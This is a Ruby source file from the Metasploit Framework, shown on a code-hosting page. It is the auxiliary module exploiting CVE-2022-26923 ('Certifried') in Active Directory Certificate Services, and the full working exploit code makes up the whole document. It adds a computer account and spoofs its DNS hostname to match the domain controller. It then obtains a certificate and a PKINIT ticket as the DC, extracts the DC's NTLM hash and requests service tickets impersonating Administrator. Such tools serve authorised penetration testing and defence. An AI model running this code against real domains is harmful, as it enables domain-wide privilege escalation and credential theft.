Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::Authenticated7alias connect_smb_client connect89include Msf::Exploit::Remote::Kerberos::Client1011include Msf::Exploit::Remote::LDAP12include Msf::Auxiliary::Report13include Msf::Exploit::Remote::MsIcpr14include Msf::Exploit::Remote::MsSamr::Computer1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Active Directory Certificate Services (ADCS) privilege escalation (Certifried)',21'Description' => %q{22This module exploits a privilege escalation vulnerability in Active23Directory Certificate Services (ADCS) to generate a valid certificate24impersonating the Domain Controller (DC) computer account. This25certificate is then used to authenticate to the target as the DC26account using PKINIT preauthentication mechanism. The module will get27and cache the Ticket-Granting-Ticket (TGT) for this account along28with its NTLM hash. Finally, it requests a TGS impersonating a29privileged user (Administrator by default). This TGS can then be used30by other modules or external tools.31},32'License' => MSF_LICENSE,33'Author' => [34'Oliver Lyak', # Discovery35'CravateRouge', # bloodyAD implementation36'Erik Wynter', # MSF module37'Christophe De La Fuente' # MSF module38],39'References' => [40['URL', 'https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4'],41['URL', 'https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html'],42['CVE', '2022-26923']43],44'Notes' => {45'AKA' => [ 'Certifried' ],46'Reliability' => [],47'Stability' => [CRASH_SAFE],48'SideEffects' => [ IOC_IN_LOGS ]49},50'Actions' => [51[ 'REQUEST_CERT', { 'Description' => 'Request a certificate with DNS host name matching the DC' } ],52[ 'AUTHENTICATE', { 'Description' => 'Same as REQUEST_CERT but also authenticate' } ],53[ 'PRIVESC', { 'Description' => 'Full privilege escalation attack' } ]54],55'DefaultAction' => 'PRIVESC',56'DefaultOptions' => {57'RPORT' => 445,58'SSL' => true,59'DOMAIN' => ''60}61)62)6364register_options([65# Using USERNAME, PASSWORD and DOMAIN options defined by the LDAP mixin66OptString.new('DC_NAME', [ true, 'Name of the domain controller being targeted (must match RHOST)' ]),67OptInt.new('LDAP_PORT', [true, 'LDAP port (default is 389 and default encrypted is 636)', 636]), # Set to 636 for legacy SSL68OptString.new('DOMAIN', [true, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local']),69OptString.new('USERNAME', [true, 'The username to authenticate with']),70OptString.new('PASSWORD', [true, 'The password to authenticate with']),71OptString.new(72'SPN', [73false,74'The Service Principal Name used to request an additional impersonated TGS, format is "service_name/FQDN" '\75'(e.g. "ldap/dc01.mydomain.local"). Note that, independently of this option, a TGS for "cifs/<DC_NAME>.<DOMAIN>"'\76' will always be requested.',77],78conditions: %w[ACTION == PRIVESC]79),80OptString.new(81'IMPERSONATE', [82true,83'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',84'Administrator'85],86conditions: %w[ACTION == PRIVESC]87)88])8990deregister_options('CERT_TEMPLATE', 'ALT_DNS', 'ALT_UPN', 'PFX', 'ON_BEHALF_OF', 'SMBUser', 'SMBPass', 'SMBDomain')91end9293def run94@privesc_success = false95@computer_created = false9697opts = {}98validate_options99unless can_add_computer?100fail_with(Failure::NoAccess, 'Machine account quota is zero, this user cannot create a computer account')101end102103opts[:tree] = connect_smb104computer_info = add_computer(opts)105@computer_created = true106disconnect_smb(opts.delete(:tree))107108impersonate_dc(computer_info.name)109110opts = {111username: computer_info.name,112password: computer_info.password113}114opts[:tree] = connect_smb(opts)115opts[:cert_template] = 'Machine'116cert = request_certificate(opts)117fail_with(Failure::UnexpectedReply, 'Unable to request the certificate.') unless cert118119if ['AUTHENTICATE', 'PRIVESC'].include?(action.name)120credential, key = get_tgt(cert)121fail_with(Failure::UnexpectedReply, 'Unable to request the TGT.') unless credential && key122123get_ntlm_hash(credential, key)124end125126if action.name == 'PRIVESC'127# Always request a TGS for `cifs/...` SPN, since we need it to properly delete the computer account128default_spn = "cifs/#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"129request_ticket(credential, default_spn)130@privesc_success = true131132# If requested, get an additional TGS133if datastore['SPN'].present? && datastore['SPN'].casecmp(default_spn) != 0134begin135request_ticket(credential, datastore['SPN'])136rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e137print_error("Unable to get the additional TGS for #{datastore['SPN']}: #{e.message}")138end139end140end141rescue MsSamrConnectionError, MsIcprConnectionError => e142fail_with(Failure::Unreachable, e.message)143rescue MsSamrAuthenticationError, MsIcprAuthenticationError => e144fail_with(Failure::NoAccess, e.message)145rescue MsSamrNotFoundError, MsIcprNotFoundError => e146fail_with(Failure::NotFound, e.message)147rescue MsSamrBadConfigError => e148fail_with(Failure::BadConfig, e.message)149rescue MsSamrUnexpectedReplyError, MsIcprUnexpectedReplyError => e150fail_with(Failure::UnexpectedReply, e.message)151rescue MsSamrUnknownError, MsIcprUnknownError => e152fail_with(Failure::Unknown, e.message)153rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e154fail_with(Failure::Unknown, e.message)155ensure156if @computer_created157print_status("Deleting the computer account #{computer_info&.name}")158disconnect_smb(opts.delete(:tree)) if opts[:tree]159if @privesc_success160# If the privilege escalation succeeded, let'use the cached TGS161# impersonating the admin to delete the computer account162datastore['SMB::Auth'] = Msf::Exploit::Remote::AuthOption::KERBEROS163datastore['Smb::Rhostname'] = "#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"164datastore['SMBDomain'] = datastore['DOMAIN']165datastore['DomainControllerRhost'] = rhost166tree = connect_smb(username: datastore['IMPERSONATE'])167else168tree = connect_smb169end170opts = {171tree: tree,172computer_name: computer_info&.name173}174begin175delete_computer(opts) if opts[:tree] && opts[:computer_name]176rescue MsSamrUnknownError => e177print_warning("Unable to delete the computer account, this will have to be done manually with an Administrator account (#{e.message})")178end179disconnect_smb(opts.delete(:tree)) if opts[:tree]180end181end182183def validate_options184if datastore['USERNAME'].blank?185fail_with(Failure::BadConfig, 'USERNAME not set')186end187if datastore['PASSWORD'].blank?188fail_with(Failure::BadConfig, 'PASSWORD not set')189end190if datastore['DOMAIN'].blank?191fail_with(Failure::BadConfig, 'DOMAIN not set')192end193unless datastore['DOMAIN'].match(/.+\..+/)194fail_with(Failure::BadConfig, 'DOMAIN format must be FQDN (ex: mydomain.local)')195end196if datastore['CA'].blank?197fail_with(Failure::BadConfig, 'CA not set')198end199if datastore['DC_NAME'].blank?200fail_with(Failure::BadConfig, 'DC_NAME not set')201end202if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+\..+\..+})203fail_with(Failure::BadConfig, 'SPN format must be <service_name>/<hostname>.<FQDN> (ex: cifs/dc01.mydomain.local)')204end205end206207def connect_smb(opts = {})208username = opts[:username] || datastore['USERNAME']209password = opts[:password] || datastore['PASSWORD']210domain = opts[:domain] || datastore['DOMAIN']211datastore['SMBUser'] = username212datastore['SMBPass'] = password213datastore['SMBDomain'] = domain214215if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS216vprint_status("Connecting SMB with #{username}.#{domain} using Kerberos authentication")217else218vprint_status("Connecting SMB with #{username}.#{domain}:#{password}")219end220begin221connect_smb_client222rescue Rex::ConnectionError, RubySMB::Error::RubySMBError => e223fail_with(Failure::Unreachable, e.message)224end225226begin227smb_login228rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e229fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e})")230end231report_service(232host: rhost,233port: rport,234host_name: simple.client.default_name,235proto: 'tcp',236name: 'smb',237info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"238)239240begin241simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")242rescue RubySMB::Error::RubySMBError => e243fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})")244end245end246247def disconnect_smb(tree)248vprint_status('Disconnecting SMB')249tree.disconnect! if tree250simple.client.disconnect!251rescue RubySMB::Error::RubySMBError => e252print_warning("Unable to disconnect SMB ([#{e.class}] #{e})")253end254255def can_add_computer?256vprint_status('Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...')257258quota = nil259begin260ldap_connection do |ldap|261ldap_options = {262filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'),263attributes: 'ms-DS-MachineAccountQuota',264return_result: false265}266ldap.search(ldap_options) do |entry|267quota = entry['ms-ds-machineaccountquota']&.first&.to_i268end269end270rescue Net::LDAP::Error => e271print_error("LDAP error: #{e.class}: #{e.message}")272end273274if quota.blank?275print_warning('Received no result when trying to obtain ms-DS-MachineAccountQuota. Adding a computer account may not work.')276return true277end278279vprint_status("ms-DS-MachineAccountQuota = #{quota}")280quota > 0281end282283def print_ldap_error(ldap)284opres = ldap.get_operation_result285msg = "LDAP error #{opres.code}: #{opres.message}"286unless opres.error_message.to_s.empty?287msg += " - #{opres.error_message}"288end289print_error("#{peer} #{msg}")290end291292def ldap_connection293ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}"294base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')295ldap_options = {296port: datastore['LDAP_PORT'],297base: base298}299300ldap_connect(ldap_options) do |ldap|301if ldap.get_operation_result.code != 0302print_ldap_error(ldap)303break304end305print_good("Successfully authenticated to LDAP (#{ldap_peer})")306yield ldap307end308end309310def get_dnshostname(ldap, c_name)311dnshostname = nil312filter1 = Net::LDAP::Filter.eq('Name', c_name.delete_suffix('$'))313filter2 = Net::LDAP::Filter.eq('objectclass', 'computer')314joined_filter = Net::LDAP::Filter.join(filter1, filter2)315ldap_options = {316filter: joined_filter,317attributes: 'DNSHostname',318return_result: false319320}321ldap.search(ldap_options) do |entry|322dnshostname = entry[:dnshostname]&.first323end324vprint_status("Retrieved original DNSHostame #{dnshostname} for #{c_name}") if dnshostname325dnshostname326end327328def impersonate_dc(computer_name)329ldap_connection do |ldap|330dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME'])331print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}")332domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')333computer_dn = "cn=#{computer_name.delete_suffix('$')},cn=computers,#{domain_to_ldif}"334ldap.modify(dn: computer_dn, operations: [[ :add, :dnsHostName, dc_dnshostname ]])335new_computer_hostname = get_dnshostname(ldap, computer_name)336if new_computer_hostname != dc_dnshostname337fail_with(Failure::Unknown, 'Failed to change the DNS hostname')338end339print_good('Successfully changed the DNS hostname')340end341rescue Net::LDAP::Error => e342print_error("LDAP error: #{e.class}: #{e.message}")343end344345def get_tgt(cert)346dc_name = datastore['DC_NAME'].dup.downcase347dc_name += '$' unless dc_name.ends_with?('$')348username, realm = extract_user_and_realm(cert.certificate, dc_name, datastore['DOMAIN'])349print_status("Attempting PKINIT login for #{username}@#{realm}")350begin351server_name = "krbtgt/#{realm}"352tgt_result = send_request_tgt_pkinit(353pfx: cert,354client_name: username,355realm: realm,356server_name: server_name,357rport: 88358)359print_good('Successfully authenticated with certificate')360361report_service(362host: rhost,363port: rport,364name: 'Kerberos-PKINIT',365proto: 'tcp',366info: "Module: #{fullname}, Realm: #{realm}"367)368369ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(tgt_result.as_rep, tgt_result.decrypted_part)370Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self)371372[ccache.credentials.first, tgt_result.krb_enc_key[:key]]373rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e374case e.error_code375when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CERTIFICATE_MISMATCH376print_error("Failed: #{e.message}, Target system is likely not vulnerable to Certifried")377else378print_error("Failed: #{e.message}")379end380nil381end382end383384def get_ntlm_hash(credential, key)385dc_name = datastore['DC_NAME'].dup.downcase386dc_name += '$' unless dc_name.ends_with?('$')387print_status("Trying to retrieve NT hash for #{dc_name}")388389realm = datastore['DOMAIN'].downcase390391authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(392host: rhost,393realm: realm,394username: dc_name,395framework: framework,396framework_module: self397)398tgs_ticket, _tgs_auth = authenticator.u2uself(credential)399400session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(401type: credential.keyblock.enctype.value,402value: credential.keyblock.data.value403)404ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(405tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)406)407value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value408pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)409pac_info_buffer = pac.pac_info_buffers.find do |buffer|410buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION411end412unless pac_info_buffer413print_error('NTLM hash not found in PAC')414return415end416417serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(key)418ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash419print_good("Found NTLM hash for #{dc_name}: #{ntlm_hash}")420report_ntlm(realm, dc_name, ntlm_hash)421end422423def report_ntlm(domain, user, hash)424jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)425service_data = {426address: rhost,427port: rport,428service_name: 'smb',429protocol: 'tcp',430workspace_id: myworkspace_id431}432credential_data = {433module_fullname: fullname,434origin_type: :service,435private_data: hash,436private_type: :ntlm_hash,437jtr_format: jtr_format,438username: user,439realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,440realm_value: domain441}.merge(service_data)442443credential_core = create_credential(credential_data)444445login_data = {446core: credential_core,447status: Metasploit::Model::Login::Status::UNTRIED448}.merge(service_data)449450create_credential_login(login_data)451end452453def request_ticket(credential, spn)454print_status("Getting TGS impersonating #{datastore['IMPERSONATE']}@#{datastore['DOMAIN']} (SPN: #{spn})")455456dc_name = datastore['DC_NAME'].dup.downcase457dc_name += '$' if !dc_name.ends_with?('$')458459options = {460host: rhost,461realm: datastore['DOMAIN'],462username: dc_name,463framework: framework,464framework_module: self465}466467authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)468469sname = Rex::Proto::Kerberos::Model::PrincipalName.new(470name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,471name_string: spn.split('/')472)473auth_options = {474sname: sname,475impersonate: datastore['IMPERSONATE']476}477authenticator.s4u2self(credential, auth_options)478end479480end481482483